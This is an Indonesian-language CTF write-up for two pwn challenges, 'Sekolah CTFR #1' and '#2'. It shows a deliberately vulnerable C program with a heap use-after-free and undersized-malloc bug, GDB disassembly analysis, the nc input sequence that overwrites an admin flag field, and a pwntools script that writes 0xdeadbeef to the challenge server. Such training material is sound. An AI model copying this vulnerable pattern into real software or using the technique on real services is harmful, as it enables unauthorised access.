Diberikan sebuah service pada alamat 103.157.96.13
pada port 7773
untuk Challenge Sekolah CTFR #1 dan Sebuah service pada port 7774
, untuk Challenge Sekolah CTFR #2. pada kedua service tersebut dapat menginputkan atau melakukan registrasi sebagai siswa baru, seperti menginputkan nama
dan id
dari siswa
, tetapi juga terdapat satu menu yang hanya bisa diakses oleh data yang memiliki akses admin
, perbedaan dari Challenge ini yaitu pada Challenge Sekolah CTFR #2 merupakan perbaikan dari Sekolah CTFR #1.
Download Sekolah CTFR #1 dan Download Sekolah CTFR #2
Sekolah CTFR #1
Diberikan sebuah Source
dan ELF
untuk bisa dijalankan di local tanpa harus menggunakan service, berikut source dari Challenge Sekolah CTFR #1
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
// Struktur buat data
struct Mahasiswa {
int id;
char nama[32];
int akses_admin;
};
struct Mahasiswa * mahasiswa;
char * data_id;
char * data_nama;
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("-= Selamat datang di Sekolah CTFR =-\n");
while(1) {
printf("\nSilahkan Pilih Menu: \n1. Input Nama\n2. Input ID\n3. Reset\n4. Akses Admin\nInput : ");
char pilih[10];
fgets(pilih, sizeof(pilih), stdin);
if (pilih[0] == '1') {
if (data_nama == NULL) {
char input_nama[32];
printf("Nama: ");
fgets(input_nama, sizeof(input_nama), stdin);
if (input_nama != NULL) {
mahasiswa = malloc(sizeof(mahasiswa));
memset(mahasiswa, 0, sizeof(mahasiswa));
strcpy(mahasiswa->nama, input_nama);
strtok(mahasiswa->nama, "\n");
data_nama = mahasiswa->nama;
printf("\n==============================\nSelamat datang %s di sekolah CTFR\n==============================\n", mahasiswa->nama);
}
} else {
printf("Nama sudah diterapkan\n");
}
} else if (pilih[0] == '2') {
if (data_id == NULL) {
char input_ID[32];
printf("ID: ");
fgets(input_ID, sizeof(input_ID), stdin);
if (input_ID != NULL) {
data_id = strdup(input_ID);
printf("ID Telah Diterapkan!\n");
}
} else {
printf("ID sudah diterapkan\n");
}
} else if (pilih[0] == '3') {
free(mahasiswa);
data_id = NULL;
data_nama = NULL;
printf("Data berhasil di reset!\n");
} else if (pilih[0] == '4') {
if (mahasiswa != NULL) {
if (mahasiswa->akses_admin) {
printf("\n==============================\n= AKSES ADMIN DITERIMA =\n==============================\n");
char flag[64];
FILE * f = fopen("flag", "r");
if (f == NULL) {
printf("File flag nya tidak ada! Kontak developer CTFR kami\n");
exit(0);
}
fgets(flag, 64, f);
printf("Admin : Here is your flag %s\n", flag);
} else {
printf("\n==============================\n= AKSES ADMIN DITOLAK =\n==============================\n");
printf("Anda hanya login sebagai mahasiswa biasa!\n");
}
} else {
printf("Anda harus input nama terlebih dahulu!\n");
}
} else {
printf("Pilihan tidak valid!\n");
}
}
}
Jika diperhatikan dari sorucenya ini bugnya sebanarnya ada di free(mahasiswa)
atau setelah browsing-browsing para hacker bilang nya ini itu heap exploitation
, beberapa referensi
https://www.youtube.com/watch?v=TfJrU95q1J4&t=289s
https://www.youtube.com/watch?v=rtkRYxbt-r8
https://www.youtube.com/watch?v=GdaPcAF1cew
https://www.youtube.com/watch?v=HPDBOhiKaD8
yang perlu diperhatikan ada pada bagian
0x0000000000401416 <+580>: mov rax,QWORD PTR [rip+0x2cb3] # 0x4040d0 <mahasiswa>
0x000000000040141d <+587>: test rax,rax
0x0000000000401420 <+590>: je 0x4014c3 <main+753>
0x0000000000401426 <+596>: mov rax,QWORD PTR [rip+0x2ca3] # 0x4040d0 <mahasiswa>
0x000000000040142d <+603>: mov eax,DWORD PTR [rax+0x24]
0x0000000000401430 <+606>: test eax,eax
0x0000000000401432 <+608>: je 0x4014a6 <main+724>
kode ini jika diterjemahkan di source yang sebenarnya ada pada bagian
if (mahasiswa != NULL) { if (mahasiswa->akses_admin) { } }
yang harus dilakukan adalah merubah nilai mahasiswa->akses_admin
yang semula bernilai 0=false
menjadi true
, harus diperiksa dulu bagian mov rax,QWORD PTR [rip+0x2ca3]
dan mov eax,DWORD PTR [rax+0x24]
karena nilai pada alamat itulah yang bertanggung jawab untuk menentukan nilai test eax,eax
nantinya
gdb-peda$ b *main+580
Breakpoint 1 at 0x401416
...
0x40140a <main+568>: movzx eax,BYTE PTR [rbp-0x12]
0x40140e <main+572>: cmp al,0x34
0x401410 <main+574>: jne 0x4014d4 <main+770>
=> 0x401416 <main+580>: mov rax,QWORD PTR [rip+0x2cb3] # 0x4040d0 <mahasiswa>
0x40141d <main+587>: test rax,rax
0x401420 <main+590>: je 0x4014c3 <main+753>
0x401426 <main+596>: mov rax,QWORD PTR [rip+0x2ca3] # 0x4040d0 <mahasiswa>
0x40142d <main+603>: mov eax,DWORD PTR [rax+0x24]
pada saat break
di instruksi 0x401416
nilai rax
akan diambil dari nilai rip+0x2cb3
jika dihitung manual alamat rip
saat breakpoint terjadi ada di 0x401416
jika alamat rip+0x2cb3 = QWORD PTR 0x4040c9
yang artinya 8 byte
dari alamat tersebut, jika dicek dengan gdb
gdb-peda$ x/8gx $rip+0x2cb3
0x4040c9: 0xa000000000000000 0xc000000000004052
0x4040d9 <data_id+1>: 0xa400000000004052 0x0000000000004052
0x4040e9: 0x0000000000000000 0x0000000000000000
0x4040f9: 0x0000000000000000 0x0000000000000000
dengan begitu maka kondisi instruksi test rax,rax
akan bernilai true
, tahap ini sudah melewati mahasiswa != NULL
, dari sini juga bisa diketahui variable yang seharusnya di overflow adalah data_id
untuk membuktikanya selanjutnya mencari nilai true untuk mahasiswa->akses_admin
jika benar maka seharusnya jika data_id
di overflow maka akses_admin
akan bernilai true
0x401416 <main+580>: mov rax,QWORD PTR [rip+0x2cb3] # 0x4040d0 <mahasiswa>
0x40141d <main+587>: test rax,rax
0x401420 <main+590>: je 0x4014c3 <main+753>
=> 0x401426 <main+596>: mov rax,QWORD PTR [rip+0x2ca3] # 0x4040d0 <mahasiswa>
0x40142d <main+603>: mov eax,DWORD PTR [rax+0x24]
0x401430 <main+606>: test eax,eax
0x401432 <main+608>: je 0x4014a6 <main+724>
0x401434 <main+610>: lea rdi,[rip+0xd15] # 0x402150
selanjutnya nilai rax
akan diambil 8 byte
dari alamat rip+0x2ca3
sama seperti tahapan sebelumnya 0x401426+0x2ca3 = 0x4040c9
dan dilanjutkan dengan nilai eax 4 byte
yang diambil dari alamat rax
yang berarti rax+0x24=0x4052c4
, QWORD = 8 byte
, DWORD=4 byte
jika di cek dengan gdb
gdb-peda$ x/8gx $rip+0x2ca3
0x4040c9: 0xa000000000000000 0xc000000000004052
0x4040d9 <data_id+1>: 0xa400000000004052 0x0000000000004052
0x4040e9: 0x0000000000000000 0x0000000000000000
0x4040f9: 0x0000000000000000 0x0000000000000000
...
...
gdb-peda$ x/4gx $rax+0x24
0x4052c4: 0x0000000a43434343 0x0000000000000000
0x4052d4: 0x00020d3100000000 0x0000000000000000
...
gdb-peda$ x/s 0x4052c4
0x4052c4: "CCCC\n"
dari hasi pemeriksaan ternyata nilai alamat $rax+0x24=CCCC
nilai ini didapat dari menginputkan niali ID=BBBCCCC
pada saat aplikasi dijalankan. jadinya nilai eax
tidak akan bernilai 0=false
, seharusnya kondisi test eax,eax
pada main+606
akan terpenuhi.
0x401420 <main+590>: je 0x4014c3 <main+753>
0x401426 <main+596>: mov rax,QWORD PTR [rip+0x2ca3] # 0x4040d0 <mahasiswa>
0x40142d <main+603>: mov eax,DWORD PTR [rax+0x24]
=> 0x401430 <main+606>: test eax,eax
0x401432 <main+608>: je 0x4014a6 <main+724>
0x401434 <main+610>: lea rdi,[rip+0xd15] # 0x402150
0x40143b <main+617>: call 0x401050 <puts@plt>
0x401440 <main+622>: lea rsi,[rip+0xd61] # 0x4021a8
...
...
gdb-peda$ x/x $eax
0x43434343: Cannot access memory at address 0x43434343
dibuktikan jika nilai eax
sekarang bernilai 0x43434343=CCCC
jika eksekusi aplikasi dilanjutkan hasilnya adalah
gdb-peda$ c
Continuing.
==============================
= AKSES ADMIN DITERIMA =
==============================
File flag nya tidak ada! Kontak developer CTFR kami
[Inferior 1 (process 4421) exited normally]
Warning: not running
gdb-peda$
jika di coba di remote service aplikasinya
$ nc 103.157.96.13 7773
-= Selamat datang di Sekolah CTFR =-
Silahkan Pilih Menu:
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : 1
Nama: AAAAAAAAAAAAAAAA
==============================
Selamat datang AAAAAAAAAAAAAAAA di sekolah CTFR
==============================
Silahkan Pilih Menu:
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : 2
ID: BBBBCCCC
ID Telah Diterapkan!
Silahkan Pilih Menu:
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : 4
==============================
= AKSES ADMIN DITERIMA =
==============================
Admin : Here is your flag CTFR{f1r5t_t1m3_d01n9_h34p_m3m0ry_3xpl01t1n9???}
Sekolah CTFR #2
Challenge ini merupakan versi perbaikan dar Challenge sebelumnya, Proses Excploitasinya sama seperti Challange Sekola CTFR #1, hanya saja ditambah validasi if (mahasiswa->akses_admin == 0xDEADBEEF) {
kalo dalam bentuk dissamble
...
0x0000000000401428 <+598>: jne 0x4014ef <main+797>
0x000000000040142e <+604>: mov rax,QWORD PTR [rip+0x2c9b] # 0x4040d0 <mahasiswa>
0x0000000000401435 <+611>: test rax,rax
0x0000000000401438 <+614>: je 0x4014de <main+780>
0x000000000040143e <+620>: mov rax,QWORD PTR [rip+0x2c8b] # 0x4040d0 <mahasiswa>
0x0000000000401445 <+627>: mov eax,DWORD PTR [rax+0x24]
0x0000000000401448 <+630>: cmp eax,0xdeadbeef
0x000000000040144d <+635>: jne 0x4014c1 <main+751>
...
yang berubah hanya pada bagian cmp eax,0xdeadbeef
dimana jika nilai eax = 0xdeadbeef
hasilnya eax=true
, exploitasinya menggunakan pwntool aja, karena nilai 0xdeadbeef
kalo diterjemahin kedalam ascii akan berbentuk non printable character.
from pwn import *
r = p64(0xdeadbeef)
#p = process('./chal10')
p = remote('103.157.96.13', 7774)
p.sendline('1') # pilih input Nama
p.sendline('kulikode') # isi Nama
p.sendline('2') #pilih Input ID
p.sendline('kuli'+r) # isi ID dengan kuli + 0xdeadbeed
p.sendline('4') # pilih akses admin
p.recvline()
res = p.recv()
print res
hasilnya
python2 solve.py
[+] Opening connection to 103.157.96.13 on port 7774: Done
Maaf sebelumnya, aplikasi kemarin terdapat celahan yang dapat memungkinkan kalian dapat mengakses admin.
Hal tersebut sudah kami fix!
Silahkan Pilih Menu:
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : Nama:
==============================
Selamat datang kulikode di sekolah CTFR
==============================
Silahkan Pilih Menu:
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : ID: ID Telah Diterapkan!
Silahkan Pilih Menu:
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input :
==============================
= AKSES ADMIN DITERIMA =
==============================
Admin : Here is your flag CTFR{p00r_m3m0ry_pr09r4m}